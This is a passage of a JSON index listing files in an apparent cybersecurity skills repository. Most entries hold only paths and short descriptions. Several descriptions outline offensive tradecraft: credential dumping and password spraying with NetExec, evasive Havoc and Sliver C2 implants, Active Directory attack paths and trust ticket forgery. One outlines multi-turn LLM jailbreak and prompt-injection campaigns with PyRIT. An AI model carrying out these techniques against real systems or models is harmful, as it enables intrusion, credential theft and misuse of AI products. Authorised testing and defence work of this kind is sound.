-->","isInternal":false,"tokens":719,"sizeBytes":2461},{"name":"standards.md","path":"skills/moving-laterally-with-netexec/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/moving-laterally-with-netexec/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":512,"sizeBytes":2014},{"name":"SKILL.md","path":"skills/moving-laterally-with-netexec/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/moving-laterally-with-netexec/SKILL.md","title":"moving-laterally-with-netexec","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fmoving-laterally-with-netexec%2FSKILL.md -->","frontmatter":{"name":"moving-laterally-with-netexec","description":"Use NetExec (nxc) to validate credentials, enumerate SMB shares/users/policy, password-spray safely across lockout thresholds, execute commands, and dump SAM/LSA/NTDS credentials across SMB, WinRM, LDAP, MSSQL, SSH, and other protocol modules. Use during authorized internal penetration tests to find lateral-movement paths after obtaining credentials or hashes, or to conduct controlled password spraying and post-exploitation on in-scope hosts.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["netexec","lateral-movement","smb","password-spraying","credential-access","active-directory","winrm","post-exploitation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1021.002"]},"isInternal":false,"tokens":2842,"sizeBytes":10587},{"name":"api-reference.md","path":"skills/operating-havoc-c2/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-havoc-c2/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":599,"sizeBytes":2273},{"name":"standards.md","path":"skills/operating-havoc-c2/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-havoc-c2/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":366,"sizeBytes":1438},{"name":"SKILL.md","path":"skills/operating-havoc-c2/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-havoc-c2/SKILL.md","title":"operating-havoc-c2","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-havoc-c2%2FSKILL.md -->","frontmatter":{"name":"operating-havoc-c2","description":"Deploy a Havoc C2 team server with Yaotl malleable profiles, generate evasive Demon agents using indirect syscalls and sleep obfuscation, and run post-exploitation and pivoting operations. Use during authorized, rules-of-engagement-bound red-team engagements for adversary emulation requiring a full C2 lifecycle (server setup, evasive implant generation, tasking, and lateral pivoting).","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","command-and-control","havoc","demon-agent","adversary-emulation","evasion","post-exploitation","sleep-obfuscation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1071.001"]},"isInternal":false,"tokens":2610,"sizeBytes":10436},{"name":"api-reference.md","path":"skills/operating-sliver-c2/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-sliver-c2/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":934,"sizeBytes":3426},{"name":"standards.md","path":"skills/operating-sliver-c2/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-sliver-c2/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":367,"sizeBytes":1429},{"name":"SKILL.md","path":"skills/operating-sliver-c2/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operating-sliver-c2/SKILL.md","title":"operating-sliver-c2","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperating-sliver-c2%2FSKILL.md -->","frontmatter":{"name":"operating-sliver-c2","description":"Stand up a Sliver C2 server and mTLS listeners, generate cross-platform implants and beacons, and run post-exploitation, pivoting, and BOF/.NET tooling via the Armory for adversary emulation. Use during authorized, rules-of-engagement-bound red-team engagements that need a full open-source C2 lifecycle spanning server setup, implant generation, and post-exploitation tradecraft.","domain":"cybersecurity","subdomain":"red-teaming","tags":["red-team","command-and-control","sliver","adversary-emulation","implant","post-exploitation","pivoting","mtls"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01"],"mitre_attack":["T1071.001"]},"isInternal":false,"tokens":2932,"sizeBytes":11988},{"name":"api-reference.md","path":"skills/operationalizing-misp-threat-feeds/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operationalizing-misp-threat-feeds/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":704,"sizeBytes":2410},{"name":"standards.md","path":"skills/operationalizing-misp-threat-feeds/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operationalizing-misp-threat-feeds/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":368,"sizeBytes":1573},{"name":"SKILL.md","path":"skills/operationalizing-misp-threat-feeds/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/operationalizing-misp-threat-feeds/SKILL.md","title":"operationalizing-misp-threat-feeds","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Foperationalizing-misp-threat-feeds%2FSKILL.md -->","frontmatter":{"name":"operationalizing-misp-threat-feeds","description":"Stand up MISP, enable and cache curated threat feeds (CIRCL, abuse.ch, Feodo Tracker), apply warninglists to suppress false positives, query indicators with PyMISP, and export attributes as auto-generated Suricata/Sigma/Wazuh detection rules. Use when maturing a MISP instance to actively drive detection, curating threat feeds with quality controls, or automating IOC-to-detection pipelines for the SIEM/IDS.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["threat-intelligence","misp","pymisp","threat-feeds","ioc","suricata","sigma","detection-engineering"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-02"],"mitre_attack":["T1589"]},"isInternal":false,"tokens":2690,"sizeBytes":10557},{"name":"api-reference.md","path":"skills/orchestrating-llm-attacks-with-pyrit/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/orchestrating-llm-attacks-with-pyrit/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":850,"sizeBytes":3224},{"name":"standards.md","path":"skills/orchestrating-llm-attacks-with-pyrit/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/orchestrating-llm-attacks-with-pyrit/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":344,"sizeBytes":1410},{"name":"SKILL.md","path":"skills/orchestrating-llm-attacks-with-pyrit/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/orchestrating-llm-attacks-with-pyrit/SKILL.md","title":"orchestrating-llm-attacks-with-pyrit","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Forchestrating-llm-attacks-with-pyrit%2FSKILL.md -->","frontmatter":{"name":"orchestrating-llm-attacks-with-pyrit","description":"Build automated multi-turn adversarial attacks against conversational LLM targets using Microsoft PyRIT's RedTeamingOrchestrator, CrescendoOrchestrator (gradual escalation), and TreeOfAttacksWithPruningOrchestrator (adaptive branching), with scorer feedback loops and persisted conversation memory. Use when single-shot LLM scanning is insufficient and you need multi-turn, scorer-driven AI red-team campaigns against a chatbot or agent.","domain":"cybersecurity","subdomain":"ai-security","tags":["ai-security","llm-red-teaming","pyrit","multi-turn-attacks","crescendo","jailbreak","prompt-injection","mitre-atlas"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7"],"atlas_techniques":["AML.T0051","AML.T0054"]},"isInternal":false,"tokens":2714,"sizeBytes":11176},{"name":"api-reference.md","path":"skills/parsing-artifacts-with-eric-zimmerman-tools/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/parsing-artifacts-with-eric-zimmerman-tools/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":783,"sizeBytes":2305},{"name":"standards.md","path":"skills/parsing-artifacts-with-eric-zimmerman-tools/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/parsing-artifacts-with-eric-zimmerman-tools/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":280,"sizeBytes":1213},{"name":"SKILL.md","path":"skills/parsing-artifacts-with-eric-zimmerman-tools/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/parsing-artifacts-with-eric-zimmerman-tools/SKILL.md","title":"parsing-artifacts-with-eric-zimmerman-tools","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fparsing-artifacts-with-eric-zimmerman-tools%2FSKILL.md -->","frontmatter":{"name":"parsing-artifacts-with-eric-zimmerman-tools","description":"Parse Windows forensic artifacts—$MFT/$J (MFTECmd), Prefetch (PECmd), registry hives (RECmd), shellbags, and Amcache—into normalized CSV/JSON with Eric Zimmerman's EZ Tools, then load results into Timeline Explorer for analysis. Use during DFIR/incident-response investigations, after triage collection (e.g. with KAPE), to establish program execution, file/folder access, and persistence evidence from acquired forensic images.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["digital-forensics","eric-zimmerman","registry-forensics","prefetch","shellbags","mft","dfir","artifact-parsing"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03"],"mitre_attack":["T1112"]},"isInternal":false,"tokens":2240,"sizeBytes":8186},{"name":"template.md","path":"skills/performing-access-recertification-with-saviynt/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-recertification-with-saviynt/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":323,"sizeBytes":1338},{"name":"api-reference.md","path":"skills/performing-access-recertification-with-saviynt/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-recertification-with-saviynt/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":437,"sizeBytes":1724},{"name":"standards.md","path":"skills/performing-access-recertification-with-saviynt/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-recertification-with-saviynt/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":467,"sizeBytes":1952},{"name":"workflows.md","path":"skills/performing-access-recertification-with-saviynt/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-recertification-with-saviynt/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":902,"sizeBytes":4034},{"name":"SKILL.md","path":"skills/performing-access-recertification-with-saviynt/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-recertification-with-saviynt/SKILL.md","title":"performing-access-recertification-with-saviynt","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-recertification-with-saviynt%2FSKILL.md -->","frontmatter":{"name":"performing-access-recertification-with-saviynt","description":"Configure and execute access recertification campaigns in Saviynt Enterprise Identity Cloud to validate user entitlements, revoke excessive access, and maintain compliance with SOX, SOC 2, and HIPAA. Use when launching or managing certification campaigns for users/entitlements, remediating access review findings, or documenting identity governance evidence for an audit.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["saviynt","access-recertification","identity-governance","compliance","certification-campaign","iga"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098","T1071"],"mitre_f3":{"version":"1.1","tactics":["initial-access","positioning","defense-impairment","resource-development"],"techniques":[{"id":"T1586","name":"Compromise Accounts","tactic":"resource-development","source":"attack"},{"id":"F1033","name":"Insider Access Abuse","tactic":"initial-access","source":"f3"},{"id":"F1005","name":"Account Manipulation","tactic":"positioning","source":"f3"},{"id":"F1005.002","name":"Account Manipulation: Add Authorized User","tactic":"positioning","source":"f3"},{"id":"F1005.007","name":"Account Manipulation: Enable Account Features","tactic":"defense-impairment","source":"f3"}]}},"isInternal":false,"tokens":2504,"sizeBytes":11182},{"name":"template.md","path":"skills/performing-access-review-and-certification/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-review-and-certification/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":332,"sizeBytes":1316},{"name":"api-reference.md","path":"skills/performing-access-review-and-certification/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-review-and-certification/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":371,"sizeBytes":1455},{"name":"standards.md","path":"skills/performing-access-review-and-certification/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-review-and-certification/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":313,"sizeBytes":1058},{"name":"workflows.md","path":"skills/performing-access-review-and-certification/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-review-and-certification/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":512,"sizeBytes":2317},{"name":"SKILL.md","path":"skills/performing-access-review-and-certification/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-access-review-and-certification/SKILL.md","title":"performing-access-review-and-certification","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-access-review-and-certification%2FSKILL.md -->","frontmatter":{"name":"performing-access-review-and-certification","description":"Designs and runs access review and certification campaigns-scoping, reviewer selection, risk-based prioritization, micro-certification, and remediation tracking-to verify user access matches job roles for SOX, HIPAA, and PCI DSS compliance. Use when planning or executing periodic access recertification or preparing evidence for an IAM compliance audit.","domain":"cybersecurity","subdomain":"identity-access-management","tags":["iam","identity","access-control","access-review","certification","compliance","governance"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.AA-01","PR.AA-02","PR.AA-05","PR.AA-06"],"mitre_attack":["T1078","T1110","T1556","T1098"]},"isInternal":false,"tokens":1300,"sizeBytes":6335},{"name":"template.md","path":"skills/performing-active-directory-bloodhound-analysis/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":1100,"sizeBytes":3708},{"name":"api-reference.md","path":"skills/performing-active-directory-bloodhound-analysis/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":424,"sizeBytes":1546},{"name":"standards.md","path":"skills/performing-active-directory-bloodhound-analysis/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":671,"sizeBytes":2378},{"name":"workflows.md","path":"skills/performing-active-directory-bloodhound-analysis/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":1394,"sizeBytes":7791},{"name":"SKILL.md","path":"skills/performing-active-directory-bloodhound-analysis/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-bloodhound-analysis/SKILL.md","title":"performing-active-directory-bloodhound-analysis","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-bloodhound-analysis%2FSKILL.md -->","frontmatter":{"name":"performing-active-directory-bloodhound-analysis","description":"Use BloodHound and SharpHound (or AzureHound) to enumerate Active Directory relationships and graph attack paths from a compromised user to Domain Admin. Use when performing AD red-team reconnaissance, mapping privilege-escalation chains from group memberships, ACLs, and trusts, or auditing AD for exploitable misconfigurations.","domain":"cybersecurity","subdomain":"red-teaming","tags":["bloodhound","active-directory","sharphound","attack-path","ad-enumeration","graph-theory","privilege-escalation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Restore Access","Password Authentication","Biometric Authentication","Strong Password Policy","Restore User Account Access"],"nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1068"]},"isInternal":false,"tokens":2229,"sizeBytes":8309},{"name":"template.md","path":"skills/performing-active-directory-compromise-investigation/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-compromise-investigation/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":952,"sizeBytes":3816},{"name":"api-reference.md","path":"skills/performing-active-directory-compromise-investigation/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-compromise-investigation/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":770,"sizeBytes":2646},{"name":"standards.md","path":"skills/performing-active-directory-compromise-investigation/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-compromise-investigation/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":558,"sizeBytes":2659},{"name":"workflows.md","path":"skills/performing-active-directory-compromise-investigation/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-compromise-investigation/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":970,"sizeBytes":4096},{"name":"SKILL.md","path":"skills/performing-active-directory-compromise-investigation/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-compromise-investigation/SKILL.md","title":"performing-active-directory-compromise-investigation","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-compromise-investigation%2FSKILL.md -->","frontmatter":{"name":"performing-active-directory-compromise-investigation","description":"Investigate Active Directory compromise by analyzing authentication logs, replication metadata, Group Policy changes, and Kerberos ticket anomalies to identify attacker persistence and lateral movement paths.","domain":"cybersecurity","subdomain":"incident-response","tags":["active-directory","compromise-investigation","identity-forensics","kerberos","lateral-movement","dfir","ntds-dit","golden-ticket"],"mitre_attack":["T1486","T1490","T1070","T1078","T1021"],"version":"1.0","author":"mahipal","license":"Apache-2.0","d3fend_techniques":["Application Protocol Command Analysis","Network Isolation","Network Traffic Analysis","Client-server Payload Profiling","Platform Monitoring"],"nist_csf":["RS.MA-01","RS.MA-02","RS.AN-03","RC.RP-01"]},"isInternal":false,"tokens":1878,"sizeBytes":8318},{"name":"api-reference.md","path":"skills/performing-active-directory-forest-trust-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-forest-trust-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":733,"sizeBytes":2691},{"name":"SKILL.md","path":"skills/performing-active-directory-forest-trust-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-forest-trust-attack/SKILL.md","title":"performing-active-directory-forest-trust-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-forest-trust-attack%2FSKILL.md -->","frontmatter":{"name":"performing-active-directory-forest-trust-attack","description":"Enumerate and audit Active Directory forest trust relationships using Impacket for SID filtering analysis, trust key extraction, cross-forest SID history abuse detection, and inter-realm Kerberos ticket assessment. Use when red-teaming multi-forest AD environments or auditing forest trusts for cross-forest privilege escalation and trust ticket forgery exposure.","domain":"cybersecurity","subdomain":"red-team","tags":["active-directory","forest-trust","impacket","SID-filtering","kerberos","red-team","trust-enumeration"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1558.003"]},"isInternal":false,"tokens":570,"sizeBytes":2698},{"name":"template.md","path":"skills/performing-active-directory-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":318,"sizeBytes":1195},{"name":"api-reference.md","path":"skills/performing-active-directory-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":660,"sizeBytes":2314},{"name":"standards.md","path":"skills/performing-active-directory-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":271,"sizeBytes":1125},{"name":"workflows.md","path":"skills/performing-active-directory-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-active-directory-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":274,"sizeBytes":1169},{"name":"SKILL.md","path":"skills/performing-active-directory-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-active-directory-penetration-test/SKILL.md","title":"performing-active-directory-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via 